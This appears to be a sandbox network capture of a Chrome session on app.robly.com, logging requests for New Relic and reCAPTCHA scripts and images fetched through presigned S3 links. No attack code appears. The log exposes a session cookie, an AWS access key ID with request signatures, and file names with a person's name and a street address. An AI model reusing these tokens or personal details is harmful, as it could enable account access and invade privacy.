2024-04-25 13:30:07 UTC	1298	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 13:30:07 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Server: nginx/1.22.0 Link: <//img.robly.com/assets/v2/public/landing_page/index-6496ce865c034b4fe3e0da5aa72ed444ff1bfdc0521fb3e17e24a979bbb8c14c.js>; rel=preload; as=script; nopush ETag: W/"2f7328dad7ffa183d89cb8b978938b54" Cache-Control: max-age=0, private, must-revalidate Set-Cookie: _session_id=d3eacfdaa63ae6ce5266c4381ba98399; domain=.robly.com; path=/; expires=Thu, 25 Apr 2024 23:30:07 GMT; HttpOnly; SameSite=Lax; secure X-Request-Id: 8aaed5c1-2076-4894-a0ce-752b279c62be X-Runtime: 0.159161 Strict-Transport-Security: max-age=0; includeSubdomains X-Frame-Options: ALLOW-FROM: * X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-Download-Options: noopen X-Permitted-Cross-Domain-Policies: none Content-Security-Policy: default-src 'self'; connect-src ; font-src data: ; frame-ancestors ; frame-src ; img-src blob: data: ; script-src 'self' .robly.com .google-analytics.com stats.g.doubleclick.net .googletagmanager.com .newrelic.com bam.nr-data.net .googleapis.com www.google.com www.gstatic.com code.jquery.com .googlesyndication.com 'nonce-6e2669faf81f1fbed394e18e2be8eee3'; style-src 'unsafe-inline'
2024-04-25 13:30:07 UTC	15086	IN	Data Raw: 37 61 65 33 0d 0a 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6e 6f 6e 63 65 3d 22 36 65 32 36 36 39 66 61 66 38 31 66 31 66 62 65 64 33 39 34 65 31 38 65 32 62 65 38 65 65 65 33 22 3e 77 69 6e 64 6f 77 2e 4e 52 45 55 4d 7c 7c 28 4e 52 45 55 4d 3d 7b 7d 29 3b 4e 52 45 55 4d 2e 69 6e 66 6f 3d 7b 22 62 65 61 63 6f 6e 22 3a 22 62 61 6d 2e 6e 72 2d 64 61 74 61 2e 6e 65 74 22 2c 22 65 72 72 6f 72 42 65 61 63 6f 6e 22 3a 22 62 61 6d 2e 6e 72 2d 64 61 74 61 2e 6e 65 74 22 2c 22 6c 69 63 65 6e 73 65 4b 65 79 22 3a 22 30 34 31 62 36 64 35 63 39 33 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 49 44 22 3a 22 35 38 32 35 32 39 32 37 38 22 2c 22 74 72 61 6e 73 61 63 74 69 6f 6e 4e 61 6d 65 22 3a 22 63 46 35 66 52 52 5a Data Ascii: 7ae3<script type="text/javascript" nonce="6e2669faf81f1fbed394e18e2be8eee3">window.NREUM\|\|(NREUM={});NREUM.info={"beacon":"bam.nr-data.net","errorBeacon":"bam.nr-data.net","licenseKey":"041b6d5c93","applicationID":"582529278","transactionName":"cF5fRRZ
2024-04-25 13:30:07 UTC	16381	IN	Data Raw: 65 74 20 72 3d 61 28 29 3b 72 2e 69 6e 69 74 69 61 6c 69 7a 65 64 41 67 65 6e 74 73 3f 3f 3d 7b 7d 2c 74 2e 69 6e 69 74 69 61 6c 69 7a 65 64 41 74 3d 7b 6d 73 3a 28 30 2c 69 2e 7a 29 28 29 2c 64 61 74 65 3a 6e 65 77 20 44 61 74 65 7d 2c 72 2e 69 6e 69 74 69 61 6c 69 7a 65 64 41 67 65 6e 74 73 5b 65 5d 3d 74 7d 66 75 6e 63 74 69 6f 6e 20 75 28 65 29 7b 6c 65 74 20 74 3d 61 28 29 3b 72 65 74 75 72 6e 20 74 2e 69 6e 69 74 69 61 6c 69 7a 65 64 41 67 65 6e 74 73 3f 2e 5b 65 5d 7d 66 75 6e 63 74 69 6f 6e 20 64 28 65 2c 74 29 7b 61 28 29 5b 65 5d 3d 74 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 65 74 20 65 3d 61 28 29 3b 63 6f 6e 73 74 20 74 3d 65 2e 69 6e 66 6f 7c 7c 7b 7d 3b 65 2e 69 6e 66 6f 3d 7b 62 65 Data Ascii: et r=a();r.initializedAgents??={},t.initializedAt={ms:(0,i.z)(),date:new Date},r.initializedAgents[e]=t}function u(e){let t=a();return t.initializedAgents?.[e]}function d(e,t){a()[e]=t}function l(){return function(){let e=a();const t=e.info\|\|{};e.info={be
2024-04-25 13:30:07 UTC	8254	IN	Data Raw: 32 30 33 36 0d 0a 2e 44 2e 61 6a 61 78 2c 6f 2e 44 2e 70 61 67 65 56 69 65 77 45 76 65 6e 74 5d 3b 63 61 73 65 20 6f 2e 44 2e 73 65 73 73 69 6f 6e 52 65 70 6c 61 79 3a 72 65 74 75 72 6e 5b 6f 2e 44 2e 73 65 73 73 69 6f 6e 54 72 61 63 65 5d 3b 63 61 73 65 20 6f 2e 44 2e 70 61 67 65 56 69 65 77 54 69 6d 69 6e 67 3a 72 65 74 75 72 6e 5b 6f 2e 44 2e 70 61 67 65 56 69 65 77 45 76 65 6e 74 5d 3b 64 65 66 61 75 6c 74 3a 72 65 74 75 72 6e 5b 5d 7d 7d 28 72 2e 66 65 61 74 75 72 65 4e 61 6d 65 29 3b 6e 2e 65 76 65 72 79 28 28 65 3d 3e 65 20 69 6e 20 74 68 69 73 2e 66 65 61 74 75 72 65 73 29 29 7c 7c 28 30 2c 65 2e 5a 29 28 22 22 2e 63 6f 6e 63 61 74 28 72 2e 66 65 61 74 75 72 65 4e 61 6d 65 2c 22 20 69 73 20 65 6e 61 62 6c 65 64 20 62 75 74 20 6f 6e 65 20 6f 72 20 Data Ascii: 2036.D.ajax,o.D.pageViewEvent];case o.D.sessionReplay:return[o.D.sessionTrace];case o.D.pageViewTiming:return[o.D.pageViewEvent];default:return[]}}(r.featureName);n.every((e=>e in this.features))\|\|(0,e.Z)("".concat(r.featureName," is enabled but one or
2024-04-25 13:30:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.16	49703	108.139.15.45	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:30:07 UTC	666	OUT	GET /assets/v2/public/landing_page/index-6496ce865c034b4fe3e0da5aa72ed444ff1bfdc0521fb3e17e24a979bbb8c14c.js HTTP/1.1 Host: img.robly.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://app.robly.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _session_id=d3eacfdaa63ae6ce5266c4381ba98399
2024-04-25 13:30:08 UTC	602	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 301 Connection: close Date: Thu, 25 Apr 2024 13:30:09 GMT Last-Modified: Thu, 12 Jan 2023 15:24:37 GMT ETag: "f391f0ece4e604da4a9138cb1daa1e6d" x-amz-server-side-encryption: AES256 Cache-Control: public, max-age=31557600 Content-Encoding: gzip Expires: Fri, 12 Jan 2024 21:24:36 GMT Accept-Ranges: bytes Server: AmazonS3 X-Cache: Miss from cloudfront Via: 1.1 57e3d5d3b005fa4d07716cb3ffc6ecc0.cloudfront.net (CloudFront) X-Amz-Cf-Pop: ATL58-P2 X-Amz-Cf-Id: HWIpHYh6x_QDe2w2Vg23KX7bGUeamlUWhWzeTRLJ9W00_HKGP6hs3A==
2024-04-25 13:30:08 UTC	301	IN	Data Raw: 1f 8b 08 00 93 a8 a9 63 02 03 75 91 41 4e c3 30 10 45 af d2 98 2e 6c 29 89 5a a8 d4 a2 aa 0b 84 d8 b1 e0 06 c8 b1 27 a9 45 32 b1 9c 31 6a d5 e6 ee 8c 69 41 a5 80 bc b1 ff fc f9 1e 3f d7 11 0d b9 1e 27 46 b7 6d a5 cd db a3 f6 64 b6 fa f9 45 92 3a bc eb d6 d9 57 73 92 36 d9 2c 9f 4a 71 e3 6c d1 14 01 ce 2a ef 06 df e3 00 42 95 6c e7 ae 64 aa fb d0 b1 30 c4 aa 73 24 d5 38 95 b6 37 b1 03 24 55 06 d0 76 2f eb f3 c5 52 1d 5c 2d 67 d9 86 bb ca 56 a3 75 d8 14 5e 37 50 38 b4 b0 e3 90 16 b0 a1 6d 1a 26 4c 68 f3 95 53 1a ce 21 78 6a 21 9d a4 70 e8 23 09 b5 a6 72 00 7a 20 0a ae 8a 04 52 d0 de 83 c8 c5 d6 59 0b 28 54 7e 5d 47 dd a5 fa df 2f fa e5 76 96 bd ff 02 f8 65 67 20 31 a5 df de df ad 16 cb c5 72 b9 5a f0 12 97 88 b4 f7 80 f6 8c ad ea ed 9e 35 a6 22 4e e8 b8 f7 Data Ascii: cuAN0E.l)Z'E21jiA?'FmdE:Ws6,Jql*Bld0s$87$Uv/R\-gVu^7P8m&LhS!xj!p#rz RY(T~]G/veg 1rZ5"N

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.16	49706	34.231.99.77	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:30:08 UTC	751	OUT	GET /rails/active_storage/blobs/redirect/eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBNjE4TlE9PSIsImV4cCI6bnVsbCwicHVyIjoiYmxvYl9pZCJ9fQ==--ce055e808889d413a54d00ae1288f9226dde9842/fhf.png HTTP/1.1 Host: api.contentsnare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://app.robly.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 13:30:08 UTC	1050	IN	HTTP/1.1 302 Found x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff x-download-options: noopen x-permitted-cross-domain-policies: none referrer-policy: strict-origin-when-cross-origin date: Thu, 25 Apr 2024 13:30:08 GMT location: https://contentsnare-production.s3-accelerate.amazonaws.com/n2v4rl2b327s1vid8g7nsn5ebkvj?response-content-disposition=inline%3B%20filename%3D%22fhf.png%22%3B%20filename%2A%3DUTF-8%27%27fhf.png&response-content-type=image%2Fpng&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAJEO7TYJAYQI5QCQQ%2F20240425%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20240425T133008Z&X-Amz-Expires=300&X-Amz-SignedHeaders=host&X-Amz-Signature=6526713a88cfa7d999f0cd7c9de37041e3485792cb3b05ba63508120daa8e335 content-type: text/html; charset=utf-8 cache-control: max-age=300, private vary: Accept-Encoding, Origin x-request-id: 74fd583c-68f1-46c2-86b5-6184a57db243 x-runtime: 0.057886 transfer-encoding: chunked strict-transport-security: max-age=15768000 connection: close
2024-04-25 13:30:08 UTC	598	IN	Data Raw: 32 34 41 0d 0a 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 59 6f 75 20 61 72 65 20 62 65 69 6e 67 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 6f 6e 74 65 6e 74 73 6e 61 72 65 2d 70 72 6f 64 75 63 74 69 6f 6e 2e 73 33 2d 61 63 63 65 6c 65 72 61 74 65 2e 61 6d 61 7a 6f 6e 61 77 73 2e 63 6f 6d 2f 6e 32 76 34 72 6c 32 62 33 32 37 73 31 76 69 64 38 67 37 6e 73 6e 35 65 62 6b 76 6a 3f 72 65 73 70 6f 6e 73 65 2d 63 6f 6e 74 65 6e 74 2d 64 69 73 70 6f 73 69 74 69 6f 6e 3d 69 6e 6c 69 6e 65 25 33 42 25 32 30 66 69 6c 65 6e 61 6d 65 25 33 44 25 32 32 66 68 66 2e 70 6e 67 25 32 32 25 33 42 25 32 30 66 69 6c 65 6e 61 6d 65 25 32 41 25 33 44 55 54 46 2d 38 25 32 37 25 32 37 66 68 66 2e 70 6e 67 26 61 6d 70 3b 72 65 73 70 6f 6e 73 65 2d 63 6f 6e 74 65 6e 74 2d 74 Data Ascii: 24A<html><body>You are being <a href="https://contentsnare-production.s3-accelerate.amazonaws.com/n2v4rl2b327s1vid8g7nsn5ebkvj?response-content-disposition=inline%3B%20filename%3D%22fhf.png%22%3B%20filename%2A%3DUTF-8%27%27fhf.png&response-content-t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.16	49705	34.231.99.77	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:30:08 UTC	801	OUT	GET /rails/active_storage/blobs/redirect/eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBNXQ4TlE9PSIsImV4cCI6bnVsbCwicHVyIjoiYmxvYl9pZCJ9fQ==--a14dfb6e4a77147fc68f3ab0dc4f0cd5ffd6d000/Pages%20from%202024-2025%20April%20Caleb%20Lease.docx.jpg HTTP/1.1 Host: api.contentsnare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://app.robly.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 13:30:08 UTC	1161	IN	HTTP/1.1 302 Found x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff x-download-options: noopen x-permitted-cross-domain-policies: none referrer-policy: strict-origin-when-cross-origin date: Thu, 25 Apr 2024 13:30:08 GMT location: https://contentsnare-production.s3-accelerate.amazonaws.com/z0t4w7u8omptii0ahi8fvkg3o4b5?response-content-disposition=inline%3B%20filename%3D%22Pages%20from%202024-2025%20April%20Caleb%20Lease.docx.jpg%22%3B%20filename%2A%3DUTF-8%27%27Pages%2520from%25202024-2025%2520April%2520Caleb%2520Lease.docx.jpg&response-content-type=image%2Fjpeg&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAJEO7TYJAYQI5QCQQ%2F20240425%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20240425T133008Z&X-Amz-Expires=300&X-Amz-SignedHeaders=host&X-Amz-Signature=e247b392a5d99122054d893c7b254dc88b03abcb849b6228ee64c969cca4ae63 content-type: text/html; charset=utf-8 cache-control: max-age=300, private vary: Accept-Encoding, Origin x-request-id: b458c466-23bb-4d56-9996-2e70c7fb9ed6 x-runtime: 0.059164 transfer-encoding: chunked strict-transport-security: max-age=15768000 connection: close
2024-04-25 13:30:08 UTC	709	IN	Data Raw: 32 42 39 0d 0a 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 59 6f 75 20 61 72 65 20 62 65 69 6e 67 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 6f 6e 74 65 6e 74 73 6e 61 72 65 2d 70 72 6f 64 75 63 74 69 6f 6e 2e 73 33 2d 61 63 63 65 6c 65 72 61 74 65 2e 61 6d 61 7a 6f 6e 61 77 73 2e 63 6f 6d 2f 7a 30 74 34 77 37 75 38 6f 6d 70 74 69 69 30 61 68 69 38 66 76 6b 67 33 6f 34 62 35 3f 72 65 73 70 6f 6e 73 65 2d 63 6f 6e 74 65 6e 74 2d 64 69 73 70 6f 73 69 74 69 6f 6e 3d 69 6e 6c 69 6e 65 25 33 42 25 32 30 66 69 6c 65 6e 61 6d 65 25 33 44 25 32 32 50 61 67 65 73 25 32 30 66 72 6f 6d 25 32 30 32 30 32 34 2d 32 30 32 35 25 32 30 41 70 72 69 6c 25 32 30 43 61 6c 65 62 25 32 30 4c 65 61 73 65 2e 64 6f 63 78 2e 6a 70 67 25 32 32 25 33 42 25 32 30 66 69 6c 65 6e Data Ascii: 2B9<html><body>You are being <a href="https://contentsnare-production.s3-accelerate.amazonaws.com/z0t4w7u8omptii0ahi8fvkg3o4b5?response-content-disposition=inline%3B%20filename%3D%22Pages%20from%202024-2025%20April%20Caleb%20Lease.docx.jpg%22%3B%20filen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.16	49707	34.231.99.77	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:30:08 UTC	799	OUT	GET /rails/active_storage/blobs/redirect/eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBMnQ4TlE9PSIsImV4cCI6bnVsbCwicHVyIjoiYmxvYl9pZCJ9fQ==--720f0239b2f78880da8dd87337065e3ede51a191/Pages%20from%207953%20Cedar%20Drive%20Offer%5B83%5D.jpg HTTP/1.1 Host: api.contentsnare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://app.robly.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 13:30:08 UTC	1165	IN	HTTP/1.1 302 Found x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff x-download-options: noopen x-permitted-cross-domain-policies: none referrer-policy: strict-origin-when-cross-origin date: Thu, 25 Apr 2024 13:30:08 GMT location: https://contentsnare-production.s3-accelerate.amazonaws.com/id4bw8i9c1l9f4v2rng272la9b53?response-content-disposition=inline%3B%20filename%3D%22Pages%20from%207953%20Cedar%20Drive%20Offer%255B83%255D.jpg%22%3B%20filename%2A%3DUTF-8%27%27Pages%2520from%25207953%2520Cedar%2520Drive%2520Offer%255B83%255D.jpg&response-content-type=image%2Fjpeg&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAJEO7TYJAYQI5QCQQ%2F20240425%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20240425T133008Z&X-Amz-Expires=300&X-Amz-SignedHeaders=host&X-Amz-Signature=b19cd8bfd37111eacd64b16cd2d43f38824f756d2b9a6e9642686b8393c5c0c2 content-type: text/html; charset=utf-8 cache-control: max-age=300, private vary: Accept-Encoding, Origin x-request-id: 9dc1fa41-6676-48a8-9c4b-fd86f9ac8f36 x-runtime: 0.019882 transfer-encoding: chunked strict-transport-security: max-age=15768000 connection: close
2024-04-25 13:30:08 UTC	713	IN	Data Raw: 32 42 44 0d 0a 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 59 6f 75 20 61 72 65 20 62 65 69 6e 67 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 6f 6e 74 65 6e 74 73 6e 61 72 65 2d 70 72 6f 64 75 63 74 69 6f 6e 2e 73 33 2d 61 63 63 65 6c 65 72 61 74 65 2e 61 6d 61 7a 6f 6e 61 77 73 2e 63 6f 6d 2f 69 64 34 62 77 38 69 39 63 31 6c 39 66 34 76 32 72 6e 67 32 37 32 6c 61 39 62 35 33 3f 72 65 73 70 6f 6e 73 65 2d 63 6f 6e 74 65 6e 74 2d 64 69 73 70 6f 73 69 74 69 6f 6e 3d 69 6e 6c 69 6e 65 25 33 42 25 32 30 66 69 6c 65 6e 61 6d 65 25 33 44 25 32 32 50 61 67 65 73 25 32 30 66 72 6f 6d 25 32 30 37 39 35 33 25 32 30 43 65 64 61 72 25 32 30 44 72 69 76 65 25 32 30 4f 66 66 65 72 25 32 35 35 42 38 33 25 32 35 35 44 2e 6a 70 67 25 32 32 25 33 42 25 32 30 66 69 6c Data Ascii: 2BD<html><body>You are being <a href="https://contentsnare-production.s3-accelerate.amazonaws.com/id4bw8i9c1l9f4v2rng272la9b53?response-content-disposition=inline%3B%20filename%3D%22Pages%20from%207953%20Cedar%20Drive%20Offer%255B83%255D.jpg%22%3B%20fil

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.16	49711	142.251.15.99	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:30:08 UTC	620	OUT	GET /recaptcha/api.js HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlqHLAQj2mM0BCIWgzQEIucrNAQiJ080BGMvYzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://app.robly.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 13:30:08 UTC	528	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Expires: Thu, 25 Apr 2024 13:30:08 GMT Date: Thu, 25 Apr 2024 13:30:08 GMT Cache-Control: private, max-age=300 Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-25 13:30:08 UTC	727	IN	Data Raw: 34 63 36 0d 0a 2f 2a 20 50 4c 45 41 53 45 20 44 4f 20 4e 4f 54 20 43 4f 50 59 20 41 4e 44 20 50 41 53 54 45 20 54 48 49 53 20 43 4f 44 45 2e 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 77 3d 77 69 6e 64 6f 77 2c 43 3d 27 5f 5f 5f 67 72 65 63 61 70 74 63 68 61 5f 63 66 67 27 2c 63 66 67 3d 77 5b 43 5d 3d 77 5b 43 5d 7c 7c 7b 7d 2c 4e 3d 27 67 72 65 63 61 70 74 63 68 61 27 3b 76 61 72 20 67 72 3d 77 5b 4e 5d 3d 77 5b 4e 5d 7c 7c 7b 7d 3b 67 72 2e 72 65 61 64 79 3d 67 72 2e 72 65 61 64 79 7c 7c 66 75 6e 63 74 69 6f 6e 28 66 29 7b 28 63 66 67 5b 27 66 6e 73 27 5d 3d 63 66 67 5b 27 66 6e 73 27 5d 7c 7c 5b 5d 29 2e 70 75 73 68 28 66 29 3b 7d 3b 77 5b 27 5f 5f 72 65 63 61 70 74 63 68 61 5f 61 70 69 27 5d 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 Data Ascii: 4c6/* PLEASE DO NOT COPY AND PASTE THIS CODE. */(function(){var w=window,C='___grecaptcha_cfg',cfg=w[C]=w[C]\|\|{},N='grecaptcha';var gr=w[N]=w[N]\|\|{};gr.ready=gr.ready\|\|function(f){(cfg['fns']=cfg['fns']\|\|[]).push(f);};w['__recaptcha_api']='https://www.g
2024-04-25 13:30:08 UTC	502	IN	Data Raw: 63 47 6c 79 65 53 49 36 4d 54 63 79 4e 54 51 77 4e 7a 6b 35 4f 53 77 69 61 58 4e 54 64 57 4a 6b 62 32 31 68 61 57 34 69 4f 6e 52 79 64 57 55 73 49 6d 6c 7a 56 47 68 70 63 6d 52 51 59 58 4a 30 65 53 49 36 64 48 4a 31 5a 58 30 3d 27 3b 64 2e 68 65 61 64 2e 70 72 65 70 65 6e 64 28 6d 29 3b 70 6f 2e 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 56 36 5f 38 35 71 70 63 32 58 66 32 73 62 65 33 78 54 6e 52 74 65 37 6d 2f 72 65 63 61 70 74 63 68 61 5f 5f 65 6e 2e 6a 73 27 3b 70 6f 2e 63 72 6f 73 73 4f 72 69 67 69 6e 3d 27 61 6e 6f 6e 79 6d 6f 75 73 27 3b 70 6f 2e 69 6e 74 65 67 72 69 74 79 3d 27 73 68 61 33 38 34 2d 30 6c 4a 6b 4f 56 48 44 79 33 49 74 59 6c 43 62 55 Data Ascii: cGlyeSI6MTcyNTQwNzk5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0=';d.head.prepend(m);po.src='https://www.gstatic.com/recaptcha/releases/V6_85qpc2Xf2sbe3xTnRte7m/recaptcha__en.js';po.crossOrigin='anonymous';po.integrity='sha384-0lJkOVHDy3ItYlCbU
2024-04-25 13:30:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.16	49713	18.244.197.147	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:30:08 UTC	1040	OUT	GET /n2v4rl2b327s1vid8g7nsn5ebkvj?response-content-disposition=inline%3B%20filename%3D%22fhf.png%22%3B%20filename%2A%3DUTF-8%27%27fhf.png&response-content-type=image%2Fpng&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAJEO7TYJAYQI5QCQQ%2F20240425%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20240425T133008Z&X-Amz-Expires=300&X-Amz-SignedHeaders=host&X-Amz-Signature=6526713a88cfa7d999f0cd7c9de37041e3485792cb3b05ba63508120daa8e335 HTTP/1.1 Host: contentsnare-production.s3-accelerate.amazonaws.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://app.robly.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 13:30:08 UTC	865	IN	HTTP/1.1 200 OK Content-Type: image/png Content-Length: 12626 Connection: close x-amz-id-2: HqlS/FIuxIOa74M/4MIZHMeJfyw6y3RGSXEPNuhAf/aqqlkMBZyKR9YlGVgm2iiPqFkafLDw6kA= x-amz-request-id: AMAN2JV7QZVYTCTW Date: Thu, 25 Apr 2024 13:30:09 GMT Last-Modified: Wed, 24 Apr 2024 13:16:08 GMT ETag: "88ed47a00a61dd7eac4df2eeb2fc71c6" x-amz-server-side-encryption: aws:kms x-amz-server-side-encryption-aws-kms-key-id: arn:aws:kms:us-east-1:359876452365:key/9cd98b6e-a093-42c0-abd9-7a1db4f84494 x-amz-server-side-encryption-bucket-key-enabled: true Content-Disposition: inline; filename="fhf.png"; filename*=UTF-8''fhf.png Accept-Ranges: bytes Server: AmazonS3 X-Cache: Miss from cloudfront Via: 1.1 b99d7b371b559bd0cda6b883c9cb49e8.cloudfront.net (CloudFront) X-Amz-Cf-Pop: ATL58-P4 X-Amz-Cf-Id: oyIOunhl7r66Kteii35cJitmJ1aVnjFqRnwFgFpQ0VP1KTFtpu7-9w==
2024-04-25 13:30:08 UTC	1289	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 0b 60 00 00 00 6a 08 06 00 00 00 60 22 d3 1a 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 40 68 01 04 a4 84 de 04 91 1a 40 4a 08 2d 80 f4 22 d8 08 49 80 50 62 0c 04 11 3b ba a8 e0 da 45 04 6c e8 aa 88 62 07 c4 8e d8 59 14 1b f6 45 11 05 65 5d 2c d8 95 37 29 a0 eb be f2 bd f3 7d 73 ef 7f ff 39 f3 9f 33 e7 ce 2d 03 80 da 29 8e 48 94 8d aa 03 90 23 cc 13 c7 04 fb d3 c7 27 25 d3 49 3d 00 01 3a b0 d9 02 2d 0e 37 57 c4 8c 8a 0a 07 d0 86 ce 7f b7 77 b7 a0 27 b4 eb f6 52 ad 7f f6 ff 57 d3 e0 f1 73 b9 00 20 51 10 a7 f2 72 b9 39 10 1f 02 00 af e2 8a c4 79 00 10 a5 bc d9 f4 3c 91 14 c3 06 